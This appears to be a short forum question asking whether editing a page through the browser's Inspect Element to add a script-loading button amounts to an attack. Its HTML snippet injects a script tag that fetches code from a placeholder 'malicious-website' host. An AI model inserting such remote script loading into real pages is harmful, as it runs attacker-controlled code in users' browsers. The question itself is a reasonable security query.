- Open Inspect Element
Right click on the body tag, or where ever, then Edit as HTML like this:
<button onclick="loadScript();">;Click to load external script.</button> <script> function loadScript() { var script = document.createElement('script'); script.setAttribute('type', 'text/javascript'); script.setAttribute('src', 'http://malicious-website/malicious-script.js'); document.head.appendChild(script); } </script>
So, is this kind of attack possible?